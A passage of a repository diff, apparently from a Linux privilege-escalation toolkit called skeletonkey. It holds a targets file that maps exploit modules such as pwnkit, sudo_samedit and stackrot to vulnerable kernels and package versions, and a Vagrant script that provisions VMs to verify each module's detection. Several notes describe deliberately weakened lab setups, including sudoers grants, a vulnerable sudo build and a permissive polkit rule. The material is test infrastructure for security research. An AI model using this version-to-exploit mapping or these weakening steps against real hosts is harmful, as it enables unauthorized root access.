notes: "CVE-2022-25636; fix 5.17 mainline + 5.10.103 backport; Debian 11 stock 5.10.0 below."
|
||||
|
||||
nft_payload:
|
||||
box: ubuntu2004
|
||||
kernel_pkg: linux-image-5.15.0-43-generic
|
||||
kernel_version: "5.15.0-43"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2023-0179; fix 6.2 mainline + 5.15.91 / 5.10.162 backports; 5.15.0-43 is below."
|
||||
|
||||
nft_set_uaf:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: ""
|
||||
mainline_version: "5.15.5"
|
||||
kernel_version: "5.15.5"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2023-32233; bug introduced 5.1; fix mainline 6.4-rc4 + 6.1.27/5.15.110 backports. Mainline 5.15.5 (Nov 2021) is below 5.15.110 — empirically vulnerable. Installed via kernel.ubuntu.com/mainline/v5.15.5/."
|
||||
|
||||
overlayfs:
|
||||
box: ubuntu2004
|
||||
kernel_pkg: "" # Ubuntu-specific bug; stock 5.4 is pre-fix
|
||||
kernel_version: "5.4.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2021-3493; Ubuntu-specific overlayfs userns capability injection. Stock 5.4.0 in Ubuntu 20.04 is below the fixed package."
|
||||
|
||||
overlayfs_setuid:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: "" # 5.15.0 stock is pre-fix (5.15.110 backport)
|
||||
kernel_version: "5.15.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2023-0386; fix 6.3 + 6.1.11 / 5.15.110 / 5.10.179; 5.15.0 stock is below."
|
||||
|
||||
pack2theroot:
|
||||
box: debian12
|
||||
kernel_pkg: "" # PackageKit-version bug, not kernel
|
||||
kernel_version: "6.1.0"
|
||||
expect_detect: PRECOND_FAIL
|
||||
notes: "CVE-2026-41651; needs PackageKit ≤ 1.3.5 + polkit + an active D-Bus session bus. Debian 12's generic cloud image is server-oriented and does NOT install PackageKit (the bug's target daemon), so detect() correctly returns PRECOND_FAIL ('PackageKit daemon not registered on the system bus'). To validate the VULNERABLE path empirically, install packagekit in the VM before verifying ('apt install -y packagekit' + 'systemctl start packagekit'); deferred to a follow-up provisioner."
|
||||
|
||||
ptrace_traceme:
|
||||
box: ubuntu1804
|
||||
kernel_pkg: "" # 4.15.0 stock is below the 5.1.17 fix
|
||||
kernel_version: "4.15.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2019-13272; fix 5.1.17 mainline; Ubuntu 18.04 stock 4.15 is below."
|
||||
|
||||
pwnkit:
|
||||
box: ubuntu2004
|
||||
kernel_pkg: "" # polkit 0.105 ships in Ubuntu 20.04 → vulnerable
|
||||
kernel_version: "5.4.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2021-4034; polkit ≤ 0.120 vulnerable. Ubuntu 20.04 ships polkit 0.105."
|
||||
|
||||
sequoia:
|
||||
box: ubuntu2004
|
||||
kernel_pkg: linux-image-5.4.0-26-generic
|
||||
kernel_version: "5.4.0-26"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2021-33909; fix 5.13.4 / 5.10.52 / 5.4.135; 5.4.0-26 is below."
|
||||
|
||||
stackrot:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: ""
|
||||
mainline_version: "6.1.10" # below the 6.1.37 backport
|
||||
kernel_version: "6.1.10"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2023-3269; bug introduced 6.1; fix mainline 6.4 + 6.1.37/6.3.10 backports. Mainline 6.1.10 (Feb 2023) is below 6.1.37 — empirically vulnerable. Installed via kernel.ubuntu.com/mainline/v6.1.10/."
|
||||
|
||||
sudo_samedit:
|
||||
box: ubuntu1804
|
||||
kernel_pkg: "" # ubuntu 18.04 ships sudo 1.8.21 — vulnerable to 1.9.5p1
|
||||
kernel_version: "4.15.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2021-3156; sudo 1.8.21 vulnerable; Ubuntu 18.04 ships 1.8.21p2."
|
||||
|
||||
sudoedit_editor:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: "" # sudo 1.9.9 in Ubuntu 22.04 is vulnerable
|
||||
kernel_version: "5.15.0"
|
||||
expect_detect: PRECOND_FAIL
|
||||
notes: "CVE-2023-22809; sudo ≤ 1.9.12p2 vulnerable, Ubuntu 22.04 ships 1.9.9 — version-wise vulnerable. BUT the default Vagrant 'vagrant' user has no sudoedit grant in /etc/sudoers, so detect() short-circuits to PRECOND_FAIL ('vuln version present, no grant to abuse'). This is correct and documented behaviour. To validate the VULNERABLE-by-version path empirically, provision a sudoers grant (e.g. `vagrant ALL=(ALL) sudoedit /tmp/probe`) before verifying — currently the Vagrantfile doesn't."
|
||||
|
||||
vmwgfx:
|
||||
box: "" # vmware-guest only; no useful Vagrant box
|
||||
kernel_pkg: ""
|
||||
kernel_version: ""
|
||||
expect_detect: PRECOND_FAIL
|
||||
notes: "CVE-2023-2008; vmwgfx DRM only reachable on VMware guests. No Vagrant box; verify manually inside a VMware VM with a vulnerable kernel (e.g. Debian 11 / 5.10.0)."
|
||||
manual: true
|
||||
|
||||
# ── v0.8.0 additions ──────────────────────────────────────────────
|
||||
|
||||
sudo_chwoot:
|
||||
box: ubuntu2204 # 22.04 ships sudo 1.9.9 — provisioner builds 1.9.16p1 over it
|
||||
kernel_pkg: "" # this bug is sudo-version-gated, not kernel
|
||||
kernel_version: "5.15.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2025-32463; sudo --chroot NSS shim. Vulnerable range is sudo [1.9.14, 1.9.17p0]. provisioners/sudo_chwoot.sh builds sudo 1.9.16p1 from upstream sources into /usr/local/bin (which precedes /usr/bin in PATH so plain `sudo` resolves to the vulnerable binary)."
|
||||
|
||||
udisks_libblockdev:
|
||||
box: debian12 # 12 ships udisks2 2.10.x + libblockdev 3.0.x — vulnerable
|
||||
kernel_pkg: ""
|
||||
kernel_version: "6.1.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2025-6019; udisks/libblockdev SUID-on-mount. provisioners/udisks_libblockdev.sh installs udisks2 + libblockdev-utils3 and drops a polkit rule allowing the vagrant user to invoke loop-setup/filesystem-mount — simulating the trust polkit would give a logged-in workstation user (the real-world bug-path). Without that rule, the SSH session is not 'active' per polkit and the D-Bus call short-circuits."
|
||||
|
||||
pintheft:
|
||||
box: "" # RDS is blacklisted on every common Vagrant box's stock kernel
|
||||
kernel_pkg: ""
|
||||
kernel_version: ""
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2026-43494; PinTheft. Among Vagrant-supported distros, NONE autoload the rds kernel module (Arch Linux is the only common distro that does, and there's no maintained generic/arch-linux Vagrant box). On Debian/Ubuntu/Fedora boxes the AF_RDS socket() call fails with EAFNOSUPPORT → detect correctly returns OK ('bug exists in kernel but unreachable from userland here'). Verifying the VULNERABLE path needs either an Arch box, or a custom box with the rds module pre-loaded ('modprobe rds && modprobe rds_tcp'). Deferred."
|
||||
manual: true
|
||||
|
||||
# ── v0.9.0 additions (gap fillers 2018 / 2019 / 2020 / 2024) ──────
|
||||
|
||||
mutagen_astronomy:
|
||||
box: ""
|
||||
kernel_pkg: ""
|
||||
kernel_version: ""
|
||||
expect_detect: ""
|
||||
manual: true
|
||||
notes: "CVE-2018-14634; Qualys Mutagen Astronomy. No good Vagrant verification environment: stock Ubuntu 18.04 (4.15.0-213) returns detect()=VULNERABLE because the module's kernel_range table has no entry for the 4.15.x series (Ubuntu's HWE backports are not modeled), but the kernel IS actually patched — false-positive of the conservative module logic. Mainline 4.14.70 (target VULNERABLE kernel) panics on Ubuntu 18.04's rootfs with 'Failed to execute /init (error -8)' — kernel config mismatch (binfmt_elf as module rather than baked-in). Genuinely vulnerable verification needs a contemporary CentOS 6 / Debian 7 image with original-vintage kernel; deferred to custom-box workflow."
|
||||
|
||||
sudo_runas_neg1:
|
||||
box: ubuntu1804 # ships sudo 1.8.21p2 (vulnerable; pre-1.8.28 fix)
|
||||
kernel_pkg: ""
|
||||
kernel_version: "4.15.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2019-14287; sudo Runas -u#-1. Ubuntu 18.04 ships sudo 1.8.21p2 (vulnerable). provisioners/sudo_runas_neg1.sh adds 'vagrant ALL=(ALL,!root) NOPASSWD: /bin/vi' to /etc/sudoers.d/ so find_runas_blacklist_grant() has a grant to abuse."
|
||||
|
||||
tioscpgrp:
|
||||
box: ubuntu2004 # 5.4 stock kernels (5.4.0-26) are below the 5.4.85 backport
|
||||
kernel_pkg: linux-image-5.4.0-26-generic
|
||||
kernel_version: "5.4.0-26"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2020-29661; TTY TIOCSPGRP UAF race. Stock Ubuntu 20.04 5.4.0-26 is below the 5.4.85 LTS backport. /dev/ptmx is universally writable in CI containers. Should validate VULNERABLE."
|
||||
|
||||
vsock_uaf:
|
||||
box: "" # vsock module typically not loaded on CI containers (no virtualization)
|
||||
kernel_pkg: ""
|
||||
kernel_version: ""
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2024-50264; Pwn2Own 2024 vsock UAF. AF_VSOCK requires the vsock kernel module, which autoloads only on KVM/QEMU GUESTS. Vagrant VMs running under Parallels are themselves guests, but their guest kernel may or may not have vsock loaded depending on the Parallels host. detect correctly returns OK when AF_VSOCK is unavailable. To validate VULNERABLE, ensure the VM kernel has CONFIG_VSOCKETS + virtio-vsock loaded ('modprobe vsock_loopback' may suffice on newer kernels)."
|
||||
manual: true
|
||||
|
||||
nft_pipapo:
|
||||
box: ubuntu2204 # 5.15 stock + HWE — same pipapo set substrate as nf_tables
|
||||
kernel_pkg: ""
|
||||
mainline_version: "5.15.5"
|
||||
kernel_version: "5.15.5"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2024-26581; nft_pipapo destroy-race (Notselwyn II). Same mainline 5.15.5 target as nf_tables works here — 5.15.5 is below the 5.15.149 backport. (Switched from apt-pinned 5.15.0-43 after that package was removed from Ubuntu repos.) Userns gate must be open (sysctl kernel.unprivileged_userns_clone=1)."
|
||||
Executable
+240
@@ -0,0 +1,240 @@
|
||||
#!/usr/bin/env bash
|
||||
# tools/verify-vm/verify.sh — verify ONE module in the right pre-built VM.
|
||||
#
|
||||
# Usage:
|
||||
# verify.sh <module> # provision, run --explain --active, suspend VM
|
||||
# verify.sh <module> --keep # keep VM running after for inspection
|
||||
# verify.sh <module> --destroy # destroy VM after (full reset; slow next run)
|
||||
# verify.sh --list # show every module + the box it's mapped to
|
||||
#
|
||||
# What it does:
|
||||
# 1. Reads tools/verify-vm/targets.yaml: <module> -> (box, kernel_pkg, kver,
|
||||
# expect_detect).
|
||||
# 2. Sets SKK_VM_* env vars + spins up the right Vagrant VM.
|
||||
# 3. If a kernel pin is needed, installs it + reboots the VM.
|
||||
# 4. Runs `skeletonkey --explain <module> --active` inside the VM via
|
||||
# `vagrant provision --provision-with build-and-verify`.
|
||||
# 5. Captures stdout, parses the VERDICT line, compares against expect_detect.
|
||||
# 6. Emits a JSON verification record on stdout (timestamped) suitable for
|
||||
# piping into the per-module verified-on table (separate follow-up).
|
||||
#
|
||||
# Requirements:
|
||||
# - tools/verify-vm/setup.sh has been run successfully (Vagrant +
|
||||
# vagrant-parallels + boxes cached).
|
||||
# - Module name matches a key in targets.yaml.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
|
||||
VM_DIR="$REPO_ROOT/tools/verify-vm"
|
||||
TARGETS="$VM_DIR/targets.yaml"
|
||||
LOG_DIR="$VM_DIR/logs"
|
||||
mkdir -p "$LOG_DIR"
|
||||
|
||||
# Minimal YAML field reader for targets.yaml's flat 2-level structure.
|
||||
# Usage: yget <module> <field>
|
||||
# yget af_packet box -> "ubuntu1804"
|
||||
# Strips surrounding quotes and trailing whitespace; empty fields -> "".
|
||||
yget() {
|
||||
local module="$1"
|
||||
local field="$2"
|
||||
awk -v m="${module}:" -v f=" ${field}:" '
|
||||
$0 ~ "^"m"[[:space:]]*$" { inmod=1; next }
|
||||
inmod && /^[a-zA-Z]/ { inmod=0 } # next top-level key
|
||||
inmod && $0 ~ "^"f {
|
||||
sub("^[^:]+:[[:space:]]*", "")
|
||||
sub("[[:space:]]+#.*$", "") # trim trailing comment
|
||||
sub("^\"", ""); sub("\"$", "")
|
||||
print; exit
|
||||
}
|
||||
' "$TARGETS"
|
||||
}
|
||||
|
||||
# ── arg parsing ───────────────────────────────────────────────────────────
|
||||
KEEP=0; DESTROY=0; LIST=0; MODULE=""
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--keep) KEEP=1 ;;
|
||||
--destroy) DESTROY=1 ;;
|
||||
--list) LIST=1 ;;
|
||||
-h|--help)
|
||||
sed -n '1,30p' "$0"; exit 0 ;;
|
||||
--*)
|
||||
echo "[-] unknown flag: $1" >&2; exit 2 ;;
|
||||
*)
|
||||
MODULE="$1" ;;
|
||||
esac
|
||||
shift
|
||||
done
|
||||
|
||||
# ── --list mode ───────────────────────────────────────────────────────────
|
||||
if [[ $LIST -eq 1 ]]; then
|
||||
printf "%-22s %-14s %-18s %-14s %s\n" "MODULE" "BOX" "KERNEL" "EXPECT" "NOTES"
|
||||
printf "%-22s %-14s %-18s %-14s %s\n" "------" "---" "------" "------" "-----"
|
||||
# Iterate top-level keys (lines starting in column 0 with `something:`).
|
||||
awk '/^[a-z_][a-zA-Z0-9_]*:[[:space:]]*$/ { sub(":", ""); print }' "$TARGETS" | \
|
||||
while read -r mod; do
|
||||
box=$(yget "$mod" box)
|
||||
kv=$(yget "$mod" kernel_version)
|
||||
exp=$(yget "$mod" expect_detect)
|
||||
notes=$(yget "$mod" notes | head -c 60)
|
||||
[[ -z "$box" ]] && box="(manual)"
|
||||
[[ -z "$kv" ]] && kv="stock"
|
||||
[[ -z "$exp" ]] && exp="?"
|
||||
printf "%-22s %-14s %-18s %-14s %s\n" "$mod" "$box" "$kv" "$exp" "$notes"
|
||||
done
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if [[ -z "$MODULE" ]]; then
|
||||
echo "[-] usage: verify.sh <module> [--keep|--destroy]"
|
||||
echo " verify.sh --list # show all targets"
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# ── load target ───────────────────────────────────────────────────────────
|
||||
BOX=$(yget "$MODULE" box)
|
||||
KERNEL_PKG=$(yget "$MODULE" kernel_pkg)
|
||||
MAINLINE=$(yget "$MODULE" mainline_version)
|
||||
KERNEL_VER=$(yget "$MODULE" kernel_version)
|
||||
EXPECT=$(yget "$MODULE" expect_detect)
|
||||
MANUAL=$(yget "$MODULE" manual)
|
||||
NOTES=$(yget "$MODULE" notes)
|
||||
|
||||
if ! grep -q "^${MODULE}:" "$TARGETS"; then
|
||||
echo "[-] module not in targets.yaml: $MODULE" >&2
|
||||
exit 3
|
||||
fi
|
||||
if [[ "$MANUAL" == "true" || -z "$BOX" ]]; then
|
||||
echo "[-] $MODULE is marked manual: true (${NOTES:0:80})" >&2
|
||||
exit 4
|
||||
fi
|
||||
BOX="generic/$BOX"
|
||||
VM_HOSTNAME="skk-${MODULE}"
|
||||
SHORT_NOTES="${NOTES:0:80}"
|
||||
|
||||
# ── kick off provisioning ─────────────────────────────────────────────────
|
||||
echo
|
||||
echo "════════════════════════════════════════════════════"
|
||||
echo " SKELETONKEY VM verifier: $MODULE"
|
||||
echo "════════════════════════════════════════════════════"
|
||||
echo " box: $BOX"
|
||||
echo " kernel: ${KERNEL_PKG:-(stock)} → $KERNEL_VER"
|
||||
echo " expect: $EXPECT"
|
||||
echo " notes: $SHORT_NOTES"
|
||||
echo
|
||||
|
||||
cd "$VM_DIR"
|
||||
export SKK_VM_BOX="$BOX"
|
||||
export SKK_VM_KERNEL_PKG="$KERNEL_PKG"
|
||||
export SKK_VM_MAINLINE_VERSION="$MAINLINE"
|
||||
export SKK_VM_KERNEL_VERSION="$KERNEL_VER"
|
||||
export SKK_VM_HOSTNAME="$VM_HOSTNAME"
|
||||
export SKK_MODULE="$MODULE"
|
||||
export VAGRANT_VAGRANTFILE="$VM_DIR/Vagrantfile"
|
||||
|
||||
# Spin up if not running.
|
||||
if ! vagrant status "$VM_HOSTNAME" 2>&1 | grep -q "running"; then
|
||||
echo "[*] vagrant up..."
|
||||
vagrant up "$VM_HOSTNAME" --provider=parallels
|
||||
fi
|
||||
|
||||
LOG="$LOG_DIR/verify-${MODULE}-$(date +%Y%m%d-%H%M%S).log"
|
||||
|
||||
# Force rsync the source tree in. vagrant up runs rsync automatically on
|
||||
# first up but NOT on a resume/already-running VM, so we always rsync here
|
||||
# to guarantee /vagrant/ inside the guest matches the host's source tree.
|
||||
echo "[*] syncing source into VM..."
|
||||
vagrant rsync "$VM_HOSTNAME" 2>&1 | tail -5
|
||||
|
||||
# Two-phase provisioning so the new kernel actually boots before verify:
|
||||
# PREP: install kernel (apt or mainline) + pin grub default + run any
|
||||
# module-specific provisioner (sudoers grant, sudo build, ...).
|
||||
# ── conditional reboot if uname -r doesn't match target ──
|
||||
# VERIFY: build skeletonkey + run --explain --active.
|
||||
PREP_PROVS=()
|
||||
[[ -n "$KERNEL_PKG" ]] && PREP_PROVS+=("pin-kernel-${KERNEL_PKG}")
|
||||
[[ -n "$MAINLINE" ]] && PREP_PROVS+=("pin-mainline-${MAINLINE}")
|
||||
[[ -f "$VM_DIR/provisioners/${MODULE}.sh" ]] && PREP_PROVS+=("module-provision-${MODULE}")
|
||||
|
||||
if [[ ${#PREP_PROVS[@]} -gt 0 ]]; then
|
||||
echo "[*] running prep provisioners: ${PREP_PROVS[*]}"
|
||||
vagrant provision "$VM_HOSTNAME" \
|
||||
--provision-with "$(IFS=,; echo "${PREP_PROVS[*]}")" 2>&1 | tee "$LOG"
|
||||
fi
|
||||
|
||||
# Reboot if a kernel pin moved us off the target. This must run AFTER
|
||||
# the prep provisioners (which install the kernel + set GRUB_DEFAULT),
|
||||
# otherwise the reboot picks the stock kernel and we never land on the
|
||||
# target.
|
||||
if [[ -n "$KERNEL_PKG" || -n "$MAINLINE" ]]; then
|
||||
current_kver=$(vagrant ssh "$VM_HOSTNAME" -c "uname -r" 2>/dev/null | tr -d '\r')
|
||||
target_match="$KERNEL_VER"
|
||||
[[ -n "$MAINLINE" ]] && target_match="$MAINLINE"
|
||||
if [[ "$current_kver" != *"$target_match"* ]]; then
|
||||
echo "[*] current kernel $current_kver != target $target_match; rebooting..."
|
||||
vagrant reload "$VM_HOSTNAME" 2>&1 | tee -a "$LOG"
|
||||
sleep 5
|
||||
post_kver=$(vagrant ssh "$VM_HOSTNAME" -c "uname -r" 2>/dev/null | tr -d '\r')
|
||||
echo "[*] post-reboot kernel: $post_kver" | tee -a "$LOG"
|
||||
if [[ "$post_kver" != *"$target_match"* ]]; then
|
||||
echo "[!] reboot did NOT land on target kernel $target_match (got $post_kver)" | tee -a "$LOG"
|
||||
echo " detect() will still run, but verification is on the wrong kernel" | tee -a "$LOG"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "[*] running verifier..."
|
||||
vagrant provision "$VM_HOSTNAME" \
|
||||
--provision-with build-and-verify 2>&1 | tee -a "$LOG"
|
||||
|
||||
# Parse verdict. Vagrant prefixes provisioner output with the VM name
|
||||
# (e.g. " skk-pwnkit: VERDICT: VULNERABLE"), so anchor on the VERDICT
|
||||
# keyword itself. `|| true` keeps pipefail+set-e from killing us on miss.
|
||||
VERDICT=$(grep -E "VERDICT:" "$LOG" | tail -1 | awk '{print $NF}' || true)
|
||||
[[ -z "$VERDICT" ]] && VERDICT="?"
|
||||
|
||||
# Compare.
|
||||
if [[ "$VERDICT" == "$EXPECT" ]]; then
|
||||
STATUS=match
|
||||
else
|
||||
STATUS=MISMATCH
|
||||
fi
|
||||
|
||||
# Verification record (JSON).
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
HOST_KVER=$(vagrant ssh "$VM_HOSTNAME" -c "uname -r" 2>/dev/null | tr -d '\r')
|
||||
HOST_DISTRO=$(vagrant ssh "$VM_HOSTNAME" -c \
|
||||
"(. /etc/os-release && echo \"\$PRETTY_NAME\")" 2>/dev/null | tr -d '\r')
|
||||
|
||||
echo
|
||||
echo "════════════════════════════════════════════════════"
|
||||
echo " Verification record"
|
||||
echo "════════════════════════════════════════════════════"
|
||||
RECORD=$(cat <<JSON
|
||||
{"module":"$MODULE","verified_at":"$NOW","host_kernel":"$HOST_KVER","host_distro":"$HOST_DISTRO","vm_box":"$BOX","expect_detect":"$EXPECT","actual_detect":"$VERDICT","status":"$STATUS"}
|
||||
JSON
|
||||
)
|
||||
printf '%s\n' "$RECORD" | python3 -m json.tool 2>/dev/null || printf '%s\n' "$RECORD"
|
||||
|
||||
# Append to the permanent JSONL store (one record per line, dedup happens
|
||||
# at refresh time in tools/refresh-verifications.py).
|
||||
echo "$RECORD" >> "$REPO_ROOT/docs/VERIFICATIONS.jsonl"
|
||||
echo
|
||||
echo "[i] appended to docs/VERIFICATIONS.jsonl"
|
||||
echo "[i] run 'tools/refresh-verifications.py' to regenerate core/verifications.c"
|
||||
echo
|
||||
|
||||
# Lifecycle.
|
||||
if [[ $DESTROY -eq 1 ]]; then
|
||||
echo "[*] --destroy: tearing down VM..."
|
||||
vagrant destroy -f "$VM_HOSTNAME"
|
||||
elif [[ $KEEP -eq 1 ]]; then
|
||||
echo "[i] --keep: VM left running. Reconnect with:"
|
||||
echo " cd tools/verify-vm && vagrant ssh $VM_HOSTNAME"
|
||||
else
|
||||
echo "[*] suspending VM (resume next time)..."
|
||||
vagrant suspend "$VM_HOSTNAME"
|
||||
fi
|
||||
|
||||
[[ "$STATUS" == "match" ]] && exit 0 || exit 5
|
||||
Reference in New Issue
Block a user